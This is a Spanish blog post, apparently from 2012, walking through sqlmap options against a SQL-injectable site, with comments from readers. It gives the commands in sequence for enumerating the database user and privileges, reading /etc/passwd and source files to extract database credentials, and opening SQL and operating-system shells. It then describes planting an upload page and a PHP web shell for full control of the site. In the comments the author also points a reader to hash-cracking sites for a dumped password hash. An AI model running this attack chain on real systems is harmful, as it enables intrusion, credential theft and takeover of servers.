//

sábado, 22 de diciembre de 2012

SQLMAP Algo mas que Dump



SQLMap es una herramienta muy completa y flexible. Fue creada por Bernardo Damele Assumpcao Guimaraes y Miroslav Stampar. Se caracteriza por permitir la realización de ataques de SQL Injection automatizados contra un sitio web vulnerable y, debido a su gran variedad de opciones, se podrá personalizar las técnicas usadas dependiendo del objetivo.  

SQLMap agrupa sus comandos por categorías, denominadas de la siguiente forma: Target, Request, Optimization, Injection, Detection, Techniques, Fingerprint, Enumeration, Brute force, User-defined function injection, File system access, Operating system access, Windows registry access, General y Miscellaneous. Todas estas categorías se encuentran detalladas en el manual de esta herramienta, que esta disponible en el siguiente enlace sqlmap.sourceforge.net/doc/README.pdf.

A pesar de las múltiples funciones que trae consigo SQLMap, el comando mas usado y conocido por muchos es dump, con el cual se podrá bajar o dumpear la base de datos. En esta ocasión haré caso omiso de dump, y "jugaré" con otras opciones que también me parecen interesantes; sin embargo, no hablaré de todas, puesto que no pretendo realizar un manual. Mirando el --help de esta herramienta podremos encontrar todos los comandos que nos permitirán personalizar las técnicas usadas dependiendo de la aplicación en que nos encontremos.

Tomaré como ejemplo un sitio vulnerable a SQL Injection para la realización de esta practica. Con el fin de proteger la identidad y los datos sensibles que puedan ser expuestos, algunas imágenes y consultas han sido modificadas.

Teniendo ya mi sitio con una variable vulnerable a SQL Injection, lo primero que se me vino a la mente fue saber con qué usuario se están realizando las peticiones, para ello uso el  parámetro --Current-user y armo mi consulta de la siguiente forma:

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 –current-user

Como respuesta, el servidor trae el nombre del usuario como se presenta en la siguiente imagen: 


Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-dba. Y si quiero saber a qué base de datos se está conectando usaré: --Current-db

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-dba –current-db

La consulta anterior nos dice que no es el dba.


Ahora se necesita saber qué privilegios posee el usuario que realiza dicha consulta dentro del servidor, para así poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeración de los privilegios es --privileges

./sqlmap.py -u  http://www.paginadeprueba.com/noticia.php?id= --privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuación presento solo el resultado de nuestro usuario:

Como se observa en la imagen anterior, se poseen muchos privilegios; ahora sí todo depende de la imaginación y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la técnica de SQL Injection, se generaron errores en la aplicación y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raíz del servidor (Full path disclosure). Ésta será de ayuda más adelante para la lectura y escritura de algunas páginas, siempre y cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompañado de la ruta en que se encuentra este, para este caso "/etc/passwd"


./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 –file-read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.


Además, esta herramienta permite la lectura del código fuente de las páginas de la aplicación que se le especifique. Para este ejemplo, el objetivo era conseguir los datos de conexión de la base de datos. Para ello, le pedí a SQLMap leer la pagina de inicio, index.php

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/index.php

 En el código fuente extraído, se muestra que hay una pagina que está incluyendo, conn.php. Posiblemente ésta nos brinde más información.

Leyendo conn.php

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-read=ruta_raiz_del_servidor/conn.php

Y ésta nos da más datos, esta vez la ruta donde se encuentra la información que se está buscando.


Leyendo Ruta/local_db.inc

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 –file-read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexión de la base de datos:


Y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la siguiente forma:

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-shell

Como respuesta nos da una shell sql en donde se podrá realizar consultas, como se muestra a continuación:


En caso de poseer los suficientes privilegios, se podrá ejecutar comandos en el sistema operativo, entre otra multitud de acciones. Para no hacer muy extenso este post solo usaré el comando --os-shell, que nos permitirá conseguir una shell en el servidor.

./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-shell

Después de ejecutar la sentencia anterior, SQLMap nos arrojará información sobre el sistema operativo en el que corre la aplicación y pedirá que se le especifique el lenguaje de la misma y la ruta raíz del servidor.


Y finalmente, crea una página, en este caso en php, en el servidor con la ruta especificada con el siguiente código:


Esta página que se insertó en el servidor web nos permitirá subir cualquier archivo, en este caso una phpshell, para así tener control completo del sitio.

Estas son unas pocas muestras de la potencia y flexibilidad de las opciones no tan populares de esta fantástica herramienta. Es aconsejable investigar con mayor profundidad las posibilidades de SQLMap, ya que serán de gran utilidad en próximas auditorías.

3 comentarios:

Muy buen tuto.
Mi nombre es Jose y tengo una pregunta. Tengo un problema, cuando me da los resultados con --dump no entiendo la codificación, creo que es hash pero no se convertirlo a ascii. Con que utilidad lo podria hacer?. Este es el resultado que me da: $P$Bv.0vb84jXtJ3JQGL5Muuf8SNNqnaH. Gracias
Pd: Utilizo ubuntu

Hola Jose, gracias por tu comentario.
Si es un hash, tendrías que identificar que tipo de hash es, el tuyo parece ser un MD5(Wordpress). Hay varias herramientas y sitios donde puedes identificar que tipo de hash tienes, por ejemplo Hasd Id, http://www.hackxcrack.es/forum/index.php?topic=7349.0 te puede servir de ayuda para que puedas comparar. También para crackear el hash existen muchas tools, sqlmap cuando estas haciendo dump te da la opción. Mira también estos sitios: http://www.md5decrypter.co.uk/, http://md5crack.com/, http://www.blackploit.com/2010/04/md5-crack.htm
Saludo!!

Hola cuando inicio la shell sql y pongo el comando "select @@datadir" me da como resultado /var/db/mysql, como consigo la shell del SO? consegui otras paths por FPD pero no me resulta ninguna cuando coloco el parametro --os-shell , porque puede ser?

Publicar un comentario